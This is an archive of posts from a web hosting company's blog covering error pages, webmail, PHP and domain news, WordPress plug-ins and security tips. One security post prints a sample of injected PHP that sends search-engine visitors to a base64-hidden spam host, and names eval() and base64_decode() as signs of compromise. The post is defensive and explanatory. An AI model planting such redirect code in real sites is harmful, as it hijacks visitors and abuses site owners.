Now create a page containing the error message, and place it in, for example, the root of the folder for the domain. If you use the examples above, the file names would need to be 404.html, 403.html, and so on. To make the error page as useful as possible, try to include relevant information, such as:

  • A search function
  • A link to a site map or a Help page
  • A feature for the user to report the error

Error pages should not redirect to the front page, especially without letting the user know that there was an error.

For your “404” error page to be shown in Internet Explorer, its size must exceed 512 bytes — otherwise, IE will show its own error message.

“404” inspiration

A lot of creative error pages exist, and some people put a big effort into making them. You can find plenty of inspiration for your own error pages here, here, and here.

New webmail in beta!

New webmail in beta!

After a great deal of research into replacing our existing webmail, we have released a beta version of the new system. You can find it at webmail.gigahost.dk.

Faster and more modern

The new webmail is faster and more modern. It adds several new features, such as multiple identities and a much better search function, and the user experience is far clearer and easier to use.

Built on RoundCube

The webmail is based on RoundCube webmail and uses a number of modifications developed by the University of Michigan. Suggestions and comments are very welcome!

PHP updated to version 5.2.8

Last night we updated our web servers, which now run PHP version 5.2.8. More than 170 errors have been fixed since version 5.2.6.

Full list of changes

A full list of changes can be found on php.net.

New top-level domains supported

Gigahost can now register and transfer the following types of domain names:

.ag, .asia, .bz, .cn, .hn, .lc, .me, .mobi

Introductory pricing

As a time-limited offer, .cn domains are only £1.50 including VAT! A complete price list for domain services can be found in the Control Center.

Update, June 2010

We can no longer register .cn domain names, because the requirements to do so have become too strict.

WordPress security vulnerabilities

WordPress security vulnerabilities

As WordPress becomes more and more popular, blogs powered by WP are increasingly exposed to hacking attacks and attempts to “hijack” blogs. Recently, a large number of blogs have been taken over by spammers and hackers who do not fully take over the blog, but instead insert hidden code, backdoors, ads, and especially links to spam sites.

Although WordPress is one of the most secure blogging platforms, new security holes are constantly being discovered (and patched as quickly as possible). Therefore, always remember to update to the latest version of WordPress.

If you do not have the latest version of WordPress, 2.5.1, there is a high probability that your site has been hacked, even if everything appears to be working fine. It often happens that a backdoor has been inserted, giving the hacker access to your blog, and your password may also be known to the attacker. We recommend that you upgrade WordPress immediately and change your password.

Look for hidden code

Thoroughly check all files in the WordPress theme you are using, as these are not upgraded automatically. This is usually where hidden code is inserted, mainly using the eval() and base64_decode() commands. Look for code like the following, typically found in your header.php:

<?php $seref=array("google","msn","live","altavista","ask","yahoo","aol",
"cnn","weather","alexa");

$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false)
{ $ser="1"; break; }

if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWxc0cy5uZXQ=")."/"); exit; }? >

Hackers use code like this to insert hidden links on your site that are invisible to normal visitors, but visible to search engines. Therefore, check all files for code and especially links that should not be there.

Check your .htaccess

There have also been examples of hackers using .htaccess to gain access to WP-Admin. Open your .htaccess file located in your WordPress directory. If nothing has been changed, it should look like this:

# BEGIN WordPress\nRewriteEngine On\nRewriteBase /\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [ L]\n# END WordPress

These lines may also be present:

<if module mod_security.c>\n<files async-upload.php>\nSecFilterEngine Off>\nSecFilterScanPOST Off>\n</files>\n</ifmodule>
If there is any other code than what you have added yourself, it is best to update all your WordPress files (including .htaccess, of course).

Harden your blog

WordPress blogs are automatically scanned by hackers for version numbers, making it easier to find and hack outdated blogs. WordPress uses a meta tag to display the version, which looks like this:

<meta content="WordPress <?php bloginfo('version'); ? />" name="generator" />

You can safely remove this code from your header.php.

A few more tips: restrict access to your wp-admin folder using .htaccess. Add an empty index.html file to your plugins folder to hide which plugins you are using — alternatively, use an index.php file that redirects to your blog by adding <?php header("Location: http://www.yourdomain.com"); ?> to it and uploading it. Use security scanning tools to test your setup. Finally, always use the latest version of WordPress, strong passwords, and remember to make backups.

PHP 5.2.6 released

PHP 5.2.6 released

The team behind the PHP scripting language has released PHP 5.2.6. This release fixes a large number of minor bugs and security vulnerabilities. If you've chosen to use PHP 5 in the Control Center, you'll automatically be running the new version.

How to avoid getting hacked

How to avoid getting hacked

Over the last couple of days, some Gigahost customers were unlucky enough to find their web pages hacked, in most cases by some "Muslem Hacker" or "Saudi Arabian hacker". Here are some security tips on how to avoid getting hacked.

Strong passwords and up-to-date software

Passwords: Always choose proper passwords for your systems, and never use your username, real name or the like for your passwords for the hosting account, email, or anything else. You can use a random password generator such as this to generate secure passwords.

CMS and scripts: Always update your Content Management System and any scripts you may be using to the latest versions, since new security exploits are often found (and corrected).

Plug-ins and third-party programs: If you extend your site with third-party programs or plug-ins (such as WordPress plug-ins), ensure these are also kept up-to-date. Remember only to download plug-ins and other scripts from trusted sources.

Lock down what is exposed

Delete unused files: Delete scripts and other files you are not using. In particular, "install" directories or files from CMS installations. Often these are named "install.php", "install", "setup.php" or the like.

Use robots.txt: Search engines will often index content on your site, which may leave parts of it unintentionally open. By placing a file called "robots.txt" you can avoid this. Read more here.

Protect content with .htaccess: You can use ".htaccess" files to password protect one or more parts of your site, block certain IP addresses, block "hot-linking" of images and lots more. Read more here. A WordPress-specific .htaccess guide can be found here.

Protect your own machine and keep backups

Use anti-virus/anti-spyware: Some attacks originate from the local computer, and not our systems. Should a hacker get entry to your computer, it will be trivial to read off passwords from, say, database configuration files residing on your system. Use anti-virus and anti-spyware programs to protect your PC. A nice, free anti-virus program is AVG, and another program (also free) to protect from spyware is Ad-Aware.

Backups: Lastly, make sure always to back up your email, files and databases. Especially when you update your CMS or your scripts.

New Knowledge Base available

New Knowledge Base available

Along with the re-launch of gigahost.dk, we've revamped the Support Section, which collects the most frequently asked questions along with tutorials on how to set up e-mail, CMS systems, and much more.

Now built on WordPress

Rather than building a wiki (as we did last time), we've this time built the system on the WordPress CMS, which makes it easier for us to update and create new articles.

Control Center Fix-ups

Control Center Fix-ups

We've been busy the last couple of days, fixing various small bugs in the Control Center since we launched its new version. We've also introduced a few features suggested by our users.

Fixes and new features

  • Bugs in the statistics system fixed
  • Simplified the way to create email addresses
  • Domain names are now listed alphabetically
  • New feature: create periodic (cron) jobs
  • New feature: English language support added

Along with a series of smaller bugs.

Cheaper .eu domains

Oh, and we've decreased the price of .eu domain names from £20 to £13.

New Control Center and PHP 5 support

New Control Center and PHP 5 support

After a lot of work, our new Control Center is finally ready for release.

PHP 5 support

We're also happy to announce PHP 5. To use it, pick a domain and choose PHP 5 from the drop-down — it's that simple.

Simpler, with more to offer

We've streamlined the Control Center to make it more user-friendly, while adding plenty of new features along the way.

Disk space reaches 4 GB !

Disk space reaches 4 GB !

The disk space available for each account reached the 4 GB milestone a couple of days ago. As of writing, each user has 4061 MB available, and this capacity is ever-increasing.

Tell us what you think

We received a lot of great feedback on our new concept, both from new and existing users. We invite everyone to write us — or simply comment on this post — if you have more ideas or suggestions for Gigahost.

WordPress plug-ins

WordPress plug-ins

We've noticed that a lot of our customers use the WordPress blog platform. We use WordPress ourselves and like it a lot, so here are a few of the most popular plug-ins for it.

Popular plug-ins

Akismet Anti-spam – An efficient anti-spam plug-in for your blog that blocks most spam comments. To install it, you'll need an API key, which you can get by registering for free at WordPress.com.

WordPress DB Manager – Back up your WordPress database easily and quickly. You can also optimize your database without using phpMyAdmin or other database tools.

PHP Exec – Makes it possible to run PHP scripts in one or more places on your blog, where PHP is otherwise not accepted.

Extreme Video – Insert YouTube or Google Videos in your blog. The newest version also lets you upload your own videos in .avi, .mpg, or .mov (QuickTime) format.

Social Bookmarks Bar – Makes it easy for your visitors to add your blog to Digg, Technorati, Reddit, and many other social networks.

For more plug-ins, take a look at wordpress.org/extend/plugins.

Update 2011

Some of these plug-ins are no longer maintained, or have been replaced by newer plug-ins. Use the links above at your own risk.

Maintenance Works

Maintenance Works

At the moment we are performing a lot of network and systems maintenance, which unfortunately means we have had to stop accepting new sign-ups for a while. We expect to be back and ready again this Monday, November 13.

Update

We're back and ready to accept new orders at gigahost.uk/order.

Download Firefox 2 Beta 2

Download Firefox 2 Beta 2

Mozilla has released the second beta of Firefox 2 to developers. This new version sports a new look and feel, phishing protection, improved search, and a built-in spellchecker. There is a long list of smaller improvements and bug fixes, and the final version is expected in early 2007.

Happy 15th, World Wide Web!

In August 1991, Tim Berners-Lee introduced the “World Wide Web” in the usenet forum alt.hypertext. That technology has grown into what we use every day, right up to today's modern Web 2.0 sites.

A timeline on the BBC

BBC.co.uk is marking the day with a timeline of the web and its history — from being used mainly by researchers to becoming part of all our lives. It covers Netscape, Hotmail, Google, Napster, and much more.

CrazyEgg Heatmap Stats

CrazyEgg Heatmap Stats

CrazyEgg is a new service that shows a heat map of your web sites, including what people are clicking (banners, links, etc.) and general user activity. It works by installing a script that tracks users and sends the info to your CrazyEgg account.

Plans and pricing

You can choose to have your web site tested for one day, one week, or a whole month, and then a report is generated showing the results. The price starts at $19 per month (and can be as much as $99 per month), but a free version is available which allows you to track the first 5000 visitors in a month.

Why it's useful

It's a good way to get an overview of how users are using your web site and what they are interested in, so that it can be adjusted accordingly.

Welcome to Gigahost Blog

Our blog is finally up and running. We'll post updates about Gigahost and what goes on behind the scenes (with a bit of fun along the way).